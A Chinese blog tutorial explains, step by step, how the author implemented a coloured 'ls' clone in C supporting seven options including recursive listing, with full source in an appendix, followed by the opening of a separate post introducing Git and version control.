  • 对不同类型或不同权限的的文件，输出不同颜色的文字
  • 实现ls的以下7个参数任意组合
    • -a 不隐藏任何以 . 开始的项目
    • -i 显示每个文件的索引编号（inode 号）
    • -l 使用较长格式列出信息
    • -s 以块数形式显示每个文件分配的尺寸
    • -t 按时间排序，最新的最前
    • -r 逆序排列
    • -R 递归显示子目录

必要的头文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <locale.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

开发过程

获取并解析用户输入

分别声明7个_Bool类型的全局变量存储解析到的各个参数的使用情况

1
2
3
4
5
6
7
_Bool Options_a;
_Bool Options_i; //显示i-node
_Bool Options_l;
_Bool Options_r; //逆序
_Bool Options_R;
_Bool Options_s; //以块数形式显示每个文件分配的尺寸
_Bool Options_t; //时间排序

通过判断argv中的指针指向的字符串的首字符是不是-来判断这个字符串是参数还是路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
_Bool p = 0; //表明是否读取到路径
char *path;//指向存储路径字符串的指针
for (int i = 1; i < argc; i++)
{
    if (*argv[i] == '-')                                   //判断是参数还是路径
    {                                                      //是参数
        for (unsigned int n = 1; n < strlen(argv[i]); n++) //遍历每一格字母
            switch (argv[i][n])
            {
            case 'a':
                Options_a = 1;
                break;
            case 'i':
                Options_i = 1;
                break;
            case 'l':
                Options_l = 1;
                break;
            case 'r':
                Options_r = 1;
                break;
            case 'R':
                Options_R = 1;
                break;
            case 's':
                Options_s = 1;
                break;
            case 't':
                Options_t = 1;
                break;
            default: //错误的参数
                printf("%s error:Unknow options: %s\n", __FILE__, argv[i]);
                exit(EXIT_FAILURE);
                break;
            }
    }
    else
    {          //是路径
        p = 1; //表明已经读到了路径
        path = argv[i];
    }
}

info

在ls中，如果用户输入了路径，那么应该输出用户输入的路径下的文件，否则路径的缺省值应该为当前目录

1
2
3
4
5
6
if (!p) //如果没读取到路径（等价于路径是通过getcwd获得的）
{
    path = getcwd(NULL, 0); //获取当前路径
    if (path == NULL)
        myerror("getcwd", " ", __LINE__);
}

上面的代码调用了笔者为了简化错误处理流程写的myerror()函数，该函数定义如下

1
2
3
4
5
6
void myerror(const char *string1, const char *string2, int line)
{
    printf("\033[31mline:%d:file:%s\n%s:%s\033[0m\n", line, string2, string1, strerror(errno));//strerror()需要 string.h

    exit(EXIT_FAILURE);
}

笔者相信细致的读者一定会觉得!p的设计时不必要的，因为可以通过预先执行path=NULL;，然后在解析完成后判断if (path==NULL)区分是否已经读取到路径，从而删去p变量，但这样的做法是有缺陷的．

  • 当用户输入路径时，path指向某一个argv中的某一个指针指向的字符串．不需要执行free(path)．
  • 当用户不输入路径时，path指向由getcwd函数自动分配内存存储的当前路径．需要执行free(path)．

为了区分是否需要执行free，防止产生内存泄漏，笔者设置p变量来完成对是否需要free的检测．

递归打开目录

在需求中的7个参数中，-R的实现无疑是最为困难的．
笔者通过设计一个以存储目标文件夹路径的字符串为参数的函数，并通过递归调用该函数实现 -R 参数．

首先，笔者定义了几个宏：

1
2
3
#define StackPush(x) FileStack[++FileStackTop] = (x)
#define StackTop FileStack[FileStackTop]
#define StackPop free(FileStack[FileStackTop--])

下面是OpenADirectory的大致流程：

warning
TIP
笔者为了方便各位读者理解该函数运行的流程，在下面的代码中笔者省略了很多细节．
请读者们此时更多的关注该函数的「整体流程与思想」，而不是细枝末节．
请不要担心、不要着急，后文中笔者将逐一说明被笔者省略的内容．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
typedef struct
{
    struct stat FileStat;
    struct dirent File_di;

} FileInfo;

void OpenADirectory(const char *path)
{
    /* 保存原目录 */
    char *oldpath = getcwd(NULL, 0);
    if (oldpath == NULL)
        myerror("getcwd", " ", __LINE__);

    DIR *CurrentDir = opendir(path);
    /* 此处省略打开目录失败的错误处理 */

    /* 切换目录 */
    if (chdir(path) == -1)
    /* 此处省略切换目录失败的错误处理 */

    /* 文件堆 */
    FileInfo **FileStack = (FileInfo **)malloc(sizeof(FileInfo *) * FileNumberMax);
    if (FileStack == NULL)
        myerror("malloc", " ", __LINE__);
    int FileStackTop = -1;


    /* 文件读取 */
    struct dirent *CurrentFile;
    while ((CurrentFile = readdir(CurrentDir)) != NULL)
    {
        FileInfo *temp = (FileInfo *)malloc(sizeof(FileInfo));
        if (temp == NULL)
            myerror("malloc", "", __LINE__);
        temp->File_di = *CurrentFile;
        if (lstat(CurrentFile->d_name, &(temp->FileStat)) == -1)
        {
            printf("\033[31mError:Line:%d: can't get stat of %s,%s\033[0m\n", __LINE__, CurrentFile->d_name, strerror(errno));
            free(temp);
            continue;
        }
        if (FileStackTop < FileNumberMax)
            StackPush(temp);
        else
            myerror("\033[31mToo much File\033[0m\n", " ", __LINE__);
    }
    /* readdir错误检查 */
    if (errno) //需要 error.h
        printf("\033[31mline:%d:error:%s\033[0m\n", __LINE__, strerror(errno));

该函数在运行的开始，首先保存当前的工作目录的路径，然后打开作为参数的路径中指定的文件夹．

OpenADirectory()新建了一个名叫FileStack的指针，该指针指向指向FileInfo类型的指针，换而言之，FileStack是一个二级指针．由于使用malloc()为其分配了sizeof(FileInfo *) * FileNumberMax字节的空间，即FileNumberMax个FileInfo *类型所占的空间，那么此时，FileStack就相当与一个「内含FileNumberMax个指针元素的数组」．在此，笔者将该数组作为存储path指定的文件夹内每个文件对应的FIleInfo的堆栈．

danger
ERROR
可能会有读者在想，FileStack不就是个指针数组嘛．直接使用FileInfo (*FileStack)[FileNumberMax];便可以自动分配一个指针数组，何必使用malloc()呢？
这不是笔者在使用二级指针故作高深，而是确有必要．FileInfo (*FileStack)[FileNumberMax];语句定义的是自动变量，占用栈区空间，而栈区空间通常较小，在多层递归中容易出现栈溢出的错误．而malloc()分配的空间在堆区上，堆区远大于栈区，这样才能保证程序的正常运行．
还有人可能会问，那能否这样调用malloc呢?

FileInfo *array=malloc(sizeof(FileInfo) * FileNumberMax);

这样的做法，由FileInfo *类型的指针数组改为FileInfo数组，这样确实也不占用栈区空间，也避免了二级指针带来的理解困难，但却存在着更为严重的内存浪费问题．在绝大多数文件夹中，文件数量远远少于FileNumberMax，在相同的文件夹，如果使用指针数组的方案，浪费的空间仅为多个指针所占据的空间，而使用FileInfo数组的方案却浪费了多个FileInfo的空间，要知道FileInfo所占的空间远大于FileInfo *．所以使用FileInfo的方案也不合理．

假设打开文件夹成功，则将程序的工作目录切换至已打开的文件夹（也就是参数中指定的文件夹），这是因为笔者需要调用lstat函数获取文件夹下每个文件的属性．
lstat以文件路径为参数．切换目录后，笔者便可以以文件名作为相对路径直接调用lstat函数．如不切换目录则会找不到文件，当然也可以采取字符串拼接的做法，但这样做需要对文件夹下每个文件都执行一次字符串拼接，效率较低，而且字符串的长度不定，分配空间也易出现浪费或溢出．笔者直接切换目录避免了这些麻烦，也提升了效率．

在此后笔者使用循环遍历文件夹中的每个文件，获取每个文件的属性，并将每个文件对应的struct stat和struct dirent一同存储在的struct FileInfo．
这样做的好处有很多，完成了这步后，输出文件信息所必要的所以内容已被集中在了一个struct FileInfo结构体中，为后面对详细信息的输出和文件信息的排序排序给予了极大的便利．

1
qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

之后笔者使用qsort函数对FileStack进行排序处理，作为函数指针传递的cmp函数要如何写，请容笔者在后文交代．
这这里，需要注意的是，真正被排序的是FileInfo *，而每个FileInfo元素都还存储在原来的位置．排序FileInfo *，代替FileInfo是一个十分有用的小技巧，能提升排序的效率．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    for (int i = FileStackTop; i >= 0; i--)
    {
        /* 此处省略输出文件信息的函数 */
    }

    while (FileStackTop >= 0)
    {
        if (Options_R && S_ISDIR(StackTop->FileStat.st_mode) && strcmp(StackTop->File_di.d_name, ".") != 0 && strcmp(StackTop->File_di.d_name, "..") != 0)
            OpenADirectory(StackTop->File_di.d_name);
        StackPop;
    }

    if (chdir(oldpath) == -1) //切回目录
        myerror("chdir", path, __LINE__);

    /* 释放与关闭 */
    free(oldpath);
    closedir(CurrentDir);
    free(FileStack);
}

如上，笔者使用for循环从堆的顶部遍历每个元素，并输出其中的所需的信息，这样便做到了排序输出．

其后，笔者再次从堆顶逐一访问每个元素，在启用了-R参数时，检测堆栈顶部的元素是否为文件夹，如果堆栈顶部为文件夹，且不是.和..则把堆栈顶部的元素对应的文件夹的路径作为参数递归调用OpenADirectory()．完成后对先free堆栈顶的元素所指向的FileInfo分配的空间并对堆栈执行pop操作．
最终释放堆栈空间及其他内存分配．

secondary
SECONDARY

获取文件属性的函数还有stat，为什么要选择lstat而不是stat呢？

原因很简单lstat函数获取符号链接(Symbolic link)本身的属性，而stat获取被链接的文件的属性．

顺带一提，得益于FileStack已经被qsort函数完成了排序，所以接下来通过递归调用打开子文件夹也是有序的．这使得myls程序运行期间所有文件的输出顺序是正确的．

至此，笔者终于完整的描述了OpenADirectory()的运行的流程．

打开目录过程中的细节

首先需要关注的是错误处理．其中readdir()函数的错误处理需要特别的关注．

tip

TIP

readir()在读到目录结尾和出错时返回NULL．仅在出错时设置errno．

If the end of the directory stream is reached, NULL is returned and errno is not changed. If an error occurs, NULL is returned and errno is set appropriately. To distinguish end of stream from an error, set errno to zero before calling readdir() and then check the value of errno if NULL is returned.

readdir()的返回值NULL具有双重含义，只能使用检测errno的值是否为0来判断readdir()是否执行正常．
在检测前需保证errno==0．

调用opendir时，易因权限不足等原因致使opendir无法正常执行．在发生错误时，笔者并未选择直接退出程序，而是选择报错并跳过打开失败的文件夹．
记得要释放getcwd中为了存储当前工作目录路径的字符串分配的内存空间，清除errno的值．

1
2
3
4
5
6
7
8
DIR *CurrentDir = opendir(path);
if (CurrentDir == NULL)
{
    printf("\033[31mLine:%d:readfailed:%s/%s\t %s\033[0m\n", __LINE__, oldpath, path, strerror(errno));
    errno = 0;
    free(oldpath);
    return;
}

切换目录过程中，也可能因权限不足而导致切换失败，例如：用户缺少文件夹的x权限时，便无法进入相应的文件夹．因此，这一步的错误检查同样必不可少．
同样不能忘记释放内存空间、清除errno的值，额外的还需要关闭已打开的文件夹．

1
2
3
4
5
6
7
8
9
/* 切换目录 */
if (chdir(path) == -1)
{
    printf("\033[31mLine:%d:chdir:%s\t %s\033[0m\n", __LINE__, path, strerror(errno));
    errno = 0;
    free(oldpath);
    closedir(CurrentDir);
    return;
}

当然不必笔者多提的就是malloc()的错误处理，相信各位读者一定知道该怎么做，笔者便不再赘述．

在OpenADirectory的结尾，笔者将工作目录切换回去，方便递归中打开后续文件夹．

实现文件详细信息输出

格式化输出文件大小

这部分十分容易实现，只需要从相应的struct stat中访问st_size成员，并将其作为参数传递给相应的格式化输出函数即可．

1
2
3
4
5
6
7
8
9
10
11
void FormatBytes(off_t size)
{
    char *array[] = {"B", "KB", "MB", "GB", "TB", "PB"};
    int n = 0;
    while (size >= 1024)
    {
        n++;
        size /= 1024;
    }
    printf("%ld%s\t", size, array[n]);
}
格式化输出修改时间
1
2
3
4
5
6
7
void FormatTime(time_t mtime)
{
    char string[20];
    struct tm *timeinfo = gmtime(&mtime);
    strftime(string, 17, "%b %e %R", timeinfo);
    printf("%s\t", string);
}

文件的修改时间被存储在struct stat的st_mtim.tv_sec成员中．有必要多说一句的是，为了输出本地时间（UTC +8）,还需要设置本地化的时间，笔者将这部分需求在main函数中实现．

1
2
3
/* 本地化时间设置 */
if (setlocale(LC_TIME, "") == NULL)
    myerror("setlocale", " ", __LINE__);
格式化输出文件所属的用户和用户组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void FormateUserAndGroup(uid_t userid, gid_t groupid)
{
    struct passwd *owner = getpwuid(userid);//#include <pwd.h>

    if (owner == NULL)
    {
        printf("%s\n", getcwd(NULL, 0));
        printf("uid:%u\n", userid);
    }

    struct group *group = getgrgid(groupid);//include <grp.h>
    if (group == NULL)
        myerror("getgruid", " ", __LINE__);

    printf("%s\t%s\t", owner->pw_name, group->gr_name);
}

函数以struct stat中的st_uid成员和st_gid成员为实际参数，分别通过uid和gid调用getpwuid()函数和getgrgid()函数，获取相关结构体，并输出其中的用户名和用户组名称．

tip

TIP

  • getpwuid()函数 由 pwd.h 提供
  • getgrgid()函数 由 grp.h 提供
格式化输出文件权限

文件权限的格式化输出最为简单．只是机械的判断并输出即可．

考录到存在SUID 、 SGID 、SBIT 这些特殊权限的存在，笔者并未尝试使用位移运算符来复用部分代码，使得这部分代码显得很长．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void prauthority(mode_t mode)
{
    if (S_ISREG(mode))
        putchar('-');
    else if (S_ISDIR(mode))
        putchar('d');
    else if (S_ISLNK(mode))
        putchar('l');
    else if (S_ISFIFO(mode))
        putchar('f');
    else if (S_ISBLK(mode))
        putchar('b');
    else if (S_ISCHR(mode))
        putchar('c');
    else if (S_ISSOCK(mode))
        putchar('s');
    //Owner
    if (S_IRUSR & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWUSR & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXUSR & mode)
    {
        if (S_ISUID & mode)
            putchar('s');
        else
            putchar('x');
    }
    else
        putchar('-');

    //group
    if (S_IRGRP & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWGRP & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXGRP & mode)
    {
        if (S_ISGID & mode)
            putchar('s');
        else
            putchar('x');
    }
    else
        putchar('-');

    //Other
    if (S_IROTH & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWOTH & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXOTH & mode)
    {
        if (S_ISVTX & mode)
            putchar('t');
        else
            putchar('x');
    }
    else
        putchar('-');
    putchar('\t');
}
格式化输出文件的i-node编号和以块为单位文件的大小

直接从struct stat 中读取相关信息并输出即可．

1
2
3
4
if (Options_i)
    printf("%-10lu\t", FileStack[i]->FileStat.st_ino);
if (Options_s)
    printf("%-8ld\t", FileStack[i]->FileStat.st_blksize);
根据文件的类型和权限输出不同颜色的文件名

根据struct dirent中的char d_name[256]输出即可．无非是根据不同类型输出不同的颜色而已．

1
2
3
4
5
6
7
8
9
10
11
if (S_ISREG(FileStack[i]->FileStat.st_mode) &&
    ((S_IXUSR & FileStack[i]->FileStat.st_mode) ||
     (S_IXGRP & FileStack[i]->FileStat.st_mode) ||
     (S_IXOTH & FileStack[i]->FileStat.st_mode)))
    printf("\033[32m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISREG(FileStack[i]->FileStat.st_mode))
    printf("%s\n", FileStack[i]->File_di.d_name);
else if (S_ISDIR(FileStack[i]->FileStat.st_mode))
    printf("\033[34m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISLNK(FileStack[i]->FileStat.st_mode))
    printf("\033[31m%s\033[0m\n", FileStack[i]->File_di.d_name);

实现排序输出

在用OpenADirectory()中笔者调用了qsort()．其中，qsort()将cmp进行隐式类型转换为函数指针，完成了对FileStack这个指针数组的排序．

1
qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

在此，笔者来实现cmp()．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int cmp(const void *a, const void *b)
{
    const FileInfo *A = *(FileInfo **)a;
    const FileInfo *B = *(FileInfo **)b;
    int i;
    if (Options_t)
    {
        time_t t = B->FileStat.st_mtim.tv_sec - A->FileStat.st_mtim.tv_sec;
        if (t > 0)
            i = -1;
        else if (t == 0)
            i = 0;
        else
            i = 1;
    }
    else
        i = strcmp(B->File_di.d_name, A->File_di.d_name);
    if (Options_r)
        i = -i;
    return i;
}

其中，根据用户是否输入了参数-r决定是否进行逆序排列，根据用户是否输入了参数-t决定排序的方式．

至此，myls终于完成了，完整的代码见本文末的附录．

反思

动态分配 FileStack

在上面的实现中，笔者粗暴的使用了一个FileNumbertMax作为FileStack中指针的数量，但这并非最优解．

大多数文件夹中，文件数量远远小于 FileNumbertMax 意味着浪费了很多空间．

更合理的做法是，为FileStack设置一个大于「大多数文件夹中存放文件数量」的初始值，在遇到FileStack满后，使用realloc()扩充FileStack的空间即可．

当然，这不可避免的是在一定程度上减缓myls的运行速度，这个运行速度与消耗空间的平衡需要读者自行考量．

获取文件属性

warning

WARNING

该部分内容含较多的笔者的未验证个人观点，不保证正确．欢迎读者们指出错误．

OpenADirectory()中，使用readdir()读取目录的记录项，获取的struct dirent中包含文件名与i-node编号．

然后，使用lstat()根据文件路径（笔者使用文件名作为相对路径）读取文件的属性．

在使用i-node的文件系统中，文件的属性存储在i-node中，lstat()可能的读取文件属性的方式为：

  1. 打开并遍历文件所在目录
  2. 读取目录的记录项，直到找到指定的文件所对应的记录项
  3. 从文件所对应的记录项中得到文件的i-node编号
  4. 根据文件的i-node编号找到对应的i-node，完成读取文件的属性

读者们一定能发现根据获取的struct dirent已经可以读取到i-node编号了，但使用lstat()函数却还要重复上面的1-3步．

笔者未能想到如何更好的读取文件的属性，欢迎对此有了解的读者告诉笔者．

点击三角形展开附录

附录--完整源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
/* myls.c */
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <locale.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

// #define NDEBUG

#define StackPush(x) FileStack[++FileStackTop] = (x)
#define StackTop FileStack[FileStackTop]
#define StackPop free(FileStack[FileStackTop--])
#define FileNumberMax 40960

_Bool Options_a;
_Bool Options_i; //显示i-node
_Bool Options_l;
_Bool Options_r; //逆序
_Bool Options_R;
_Bool Options_s; //以块数形式显示每个文件分配的尺寸
_Bool Options_t; //时间排序

typedef struct
{
    struct stat FileStat;
    struct dirent File_di;

} FileInfo;
void prauthority(mode_t mode);
void myerror(const char *string, const char *filename, int line);
void OpenADirectory(const char *path);
int cmp(const void *a, const void *b);
void FormateUserAndGroup(uid_t userid, gid_t groupid);
void FormatTime(time_t mtime);
void FormatBytes(off_t size);

int main(int argc, char **argv)
{

    /* 本地化时间设置 */
    if (setlocale(LC_TIME, "") == NULL)
        myerror("setlocale", " ", __LINE__);
    signal(SIGTTIN, SIG_IGN); //忽略SIGTTIN信号

    _Bool p = 0; //表明是否读取到路径
    char *path;  //指向存储路径字符串的指针
    for (int i = 1; i < argc; i++)
    {
        if (*argv[i] == '-')                                   //判断是参数还是路径
        {                                                      //是参数
            for (unsigned int n = 1; n < strlen(argv[i]); n++) //遍历每一格字母
                switch (argv[i][n])
                {
                case 'a':
                    Options_a = 1;
                    break;
                case 'i':
                    Options_i = 1;
                    break;
                case 'l':
                    Options_l = 1;
                    break;
                case 'r':
                    Options_r = 1;
                    break;
                case 'R':
                    Options_R = 1;
                    break;
                case 's':
                    Options_s = 1;
                    break;
                case 't':
                    Options_t = 1;
                    break;
                default: //错误的参数
                    printf("%s error:Unknow options: %s\n", __FILE__, argv[i]);
                    exit(EXIT_FAILURE);
                    break;
                }
        }
        else
        {          //是路径
            p = 1; //表明已经读到了路径
            path = argv[i];
        }
    }
    if (!p) //如果没读取到路径（等价于路径是通过getcwd获得的）
    {
        path = getcwd(NULL, 0); //获取当前路径
        if (path == NULL)
            myerror("getcwd", " ", __LINE__);
    }
    OpenADirectory(path);
    if (!p)
        free(path);
}

int cmp(const void *a, const void *b)
{
    const FileInfo *A = *(FileInfo **)a;
    const FileInfo *B = *(FileInfo **)b;
    int i;
    if (Options_t)
    {
        time_t t = B->FileStat.st_mtim.tv_sec - A->FileStat.st_mtim.tv_sec;
        if (t > 0)
            i = -1;
        else if (t == 0)
            i = 0;
        else
            i = 1;
    }
    else
        i = strcmp(B->File_di.d_name, A->File_di.d_name);
    if (Options_r)
        i = -i;
    return i;
}

void OpenADirectory(const char *path)
{
    /* 保存原目录 */
    char *oldpath = getcwd(NULL, 0);
    if (oldpath == NULL)
        myerror("getcwd", " ", __LINE__);

    DIR *CurrentDir = opendir(path);
    if (CurrentDir == NULL)
    {
        printf("\033[31mLine:%d:readfailed:%s/%s\t %s\033[0m\n", __LINE__, oldpath, path, strerror(errno));
        errno = 0;
        free(oldpath);
        return;
    }

    /* 切换目录 */
    if (chdir(path) == -1)
    {
        printf("\033[31mLine:%d:chdir:%s\t %s\033[0m\n", __LINE__, path, strerror(errno));
        errno = 0;
        free(oldpath);
        closedir(CurrentDir);
        return;
    }

    /* 文件堆 */
    FileInfo **FileStack = (FileInfo **)malloc(sizeof(FileInfo *) * FileNumberMax);
    if (FileStack == NULL)
        myerror("malloc", " ", __LINE__);
    int FileStackTop = -1;

    if (Options_R) /* 如果开启了递归显示子目录，则输出切换结果 */
    {
        char *NewPath = getcwd(NULL, 0);
        if (NewPath == NULL)
            myerror("getcwd", " ", __LINE__);
        printf("%s:\n", NewPath);
        free(NewPath);
    }

    /* 文件读取 */
    struct dirent *CurrentFile;
    while ((CurrentFile = readdir(CurrentDir)) != NULL)
    {
        FileInfo *temp = (FileInfo *)malloc(sizeof(FileInfo));
        if (temp == NULL)
            myerror("malloc", "", __LINE__);
        temp->File_di = *CurrentFile;
        if (lstat(CurrentFile->d_name, &(temp->FileStat)) == -1)
        {
            printf("\033[31mError:Line:%d: can't get stat of %s,%s\033[0m\n", __LINE__, CurrentFile->d_name, strerror(errno));
            free(temp);
            continue;
        }
        if (FileStackTop < FileNumberMax)
            StackPush(temp);
        else
            myerror("\033[31mToo much File\033[0m\n", " ", __LINE__);
    }
    /* readdir错误检查 */
    if (errno) //需要 error.h
        printf("\033[31mline:%d:error:%s\033[0m\n", __LINE__, strerror(errno));

    qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

    for (int i = FileStackTop; i >= 0; i--)
    {
        if (Options_a == 0 && *FileStack[i]->File_di.d_name == '.')
            continue;
        if (Options_l)
        {
            if (Options_i)
                printf("%-10lu\t", FileStack[i]->FileStat.st_ino);
            if (Options_s)
                printf("%-8ld\t", FileStack[i]->FileStat.st_blksize);
            prauthority(FileStack[i]->FileStat.st_mode);
            FormateUserAndGroup(FileStack[i]->FileStat.st_uid, FileStack[i]->FileStat.st_gid);
            FormatBytes(FileStack[i]->FileStat.st_size);
            FormatTime(FileStack[i]->FileStat.st_mtim.tv_sec);
        }

        if (S_ISREG(FileStack[i]->FileStat.st_mode) &&
            ((S_IXUSR & FileStack[i]->FileStat.st_mode) ||
             (S_IXGRP & FileStack[i]->FileStat.st_mode) ||
             (S_IXOTH & FileStack[i]->FileStat.st_mode)))
            printf("\033[32m%s\033[0m\n", FileStack[i]->File_di.d_name);
        else if (S_ISREG(FileStack[i]->FileStat.st_mode))
            printf("%s\n", FileStack[i]->File_di.d_name);
        else if (S_ISDIR(FileStack[i]->FileStat.st_mode))
            printf("\033[34m%s\033[0m\n", FileStack[i]->File_di.d_name);
        else if (S_ISLNK(FileStack[i]->FileStat.st_mode))
            printf("\033[31m%s\033[0m\n", FileStack[i]->File_di.d_name);
    }

    while (FileStackTop >= 0)
    {
        if (Options_R && S_ISDIR(StackTop->FileStat.st_mode) && strcmp(StackTop->File_di.d_name, ".") != 0 && strcmp(StackTop->File_di.d_name, "..") != 0)
            OpenADirectory(StackTop->File_di.d_name);
        StackPop;
        // FileStackTop--;
    }

    if (chdir(oldpath) == -1) //切回目录
        myerror("chdir", path, __LINE__);

    /* 释放与关闭 */
    free(oldpath);
    closedir(CurrentDir);
    free(FileStack);
}
void myerror(const char *string1, const char *string2, int line)
{
    printf("\033[31mline:%d:file:%s\n%s:%s\033[0m\n", line, string2, string1, strerror(errno)); //strerror()需要 string.h

    exit(EXIT_FAILURE);
}

void FormatBytes(off_t size)
{
    char *array[] = {"B", "KB", "MB", "GB", "TB", "PB"};
    int n = 0;
    while (size >= 1024)
    {
        n++;
        size /= 1024;
    }
    printf("%ld%s\t", size, array[n]);
}

void FormatTime(time_t mtime)
{
    char string[20];
    struct tm *timeinfo = gmtime(&mtime);
    strftime(string, 17, "%b %e %R", timeinfo);
    printf("%s\t", string);
}

void FormateUserAndGroup(uid_t userid, gid_t groupid)
{
    struct passwd *owner = getpwuid(userid);//#include <pwd.h>

    if (owner == NULL)
    {
        printf("%s\n", getcwd(NULL, 0));
        printf("uid:%u\n", userid);
    }

    struct group *group = getgrgid(groupid);//include <grp.h>
    if (group == NULL)
        myerror("getgruid", " ", __LINE__);

    printf("%s\t%s\t", owner->pw_name, group->gr_name);
}
void prauthority(mode_t mode)
{
    if (S_ISREG(mode))
        putchar('-');
    else if (S_ISDIR(mode))
        putchar('d');
    else if (S_ISLNK(mode))
        putchar('l');
    else if (S_ISFIFO(mode))
        putchar('f');
    else if (S_ISBLK(mode))
        putchar('b');
    else if (S_ISCHR(mode))
        putchar('c');
    else if (S_ISSOCK(mode))
        putchar('s');
    //Owner
    if (S_IRUSR & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWUSR & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXUSR & mode)
    {
        if (S_ISUID & mode)
            putchar('s');
        else
            putchar('x');
    }
    else
        putchar('-');

    //group
    if (S_IRGRP & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWGRP & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXGRP & mode)
    {
        if (S_ISGID & mode)
            putchar('s');
        else
            putchar('x');
    }
    else
        putchar('-');

    //Other
    if (S_IROTH & mode)
        putchar('r');
    else
        putchar('-');
    if (S_IWOTH & mode)
        putchar('w');
    else
        putchar('-');
    if (S_IXOTH & mode)
    {
        if (S_ISVTX & mode)
            putchar('t');
        else
            putchar('x');
    }
    else
        putchar('-');
    putchar('\t');
}

参考资料

1. 童永清.Linux C 编程实战[M].第1版.北京:人民邮电出版社 ↩
2. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社 ↩
3. Linux Programmer’s Manual ↩
4. General Commands Manual ↩
5. 鸟哥.鸟哥的Linux私房菜[M].第四版.北京:人民邮电出版社 ↩
发表Dev1 小时读完 (大约8955个字)

浅谈Git的应用

浅谈Git的应用

info

INFO

本文内容含有较多的引用，笔者会标注本文中所有引用内容，并在引文末尾使用脚注注明引文出处．
受引用来源的限制，本文将采取较为复杂的许可．

引文部分已全部标注．
笔者尊重所有创作者的知识产权，希望能以合理的方式引用他人的作品，但因笔者的法律知识有限，在操作中可能出现疏忽和错误，如有任何建议，请在文章末尾的评论区中评论．在此也感谢本文的引文的作者．

写在前面的话：笔者写这篇文章并非为了教会读者Git的详细用法，而是为了告诉读者们Git能满足什么需求．笔者期望阅读本文的读者在某一天出现有关版本控制的需求时，能想起曾在某个不知名的博客中看到过Git有个功能可以解决当前遇到的问题．与其说本文在介绍Git的使用方式，不如说本文在介绍Git已有的部分常用功能．至于有意详细的学习Git的用法的读者，本文无法满足你的需求，笔者建议阅读Git Pro Book来满足你的需求．

为什么需要版本控制

你是否曾为误删重要文件而懊悔，你是否曾为数据丢失而苦恼？你是否曾错误改动文件而无法更正？

你丢失的或许是几日的心血，或许是照片中美好的回忆．但对于一个项目而言，任何文件的丢失与错误的修改都可能是致命．

版本控制就如同游戏中的存档，是开发中的后悔药．

我想有的人曾因担心之后的操作把已有的工作搞砸，提前复制或者备份一份已有的文件，然后再进行不太确定的操作．
很多软件为用户提供了撤销的功能，从某种层面上说，这也是一种版本控制，你能想象如Word、PowerPoint、PhotoShop等大型软件不提供撤销功能会造成多么大的不便吗？

当然，版本控制也绝非一个撤销键这样简单．

tip
小故事

客人来到餐厅用餐．
客人：来一份宫保鸡丁
你：这好办．
进入后厨，完成客户的需求中…
客人：孩子喜欢吃牛肉，麻烦你把鸡丁换成牛肉
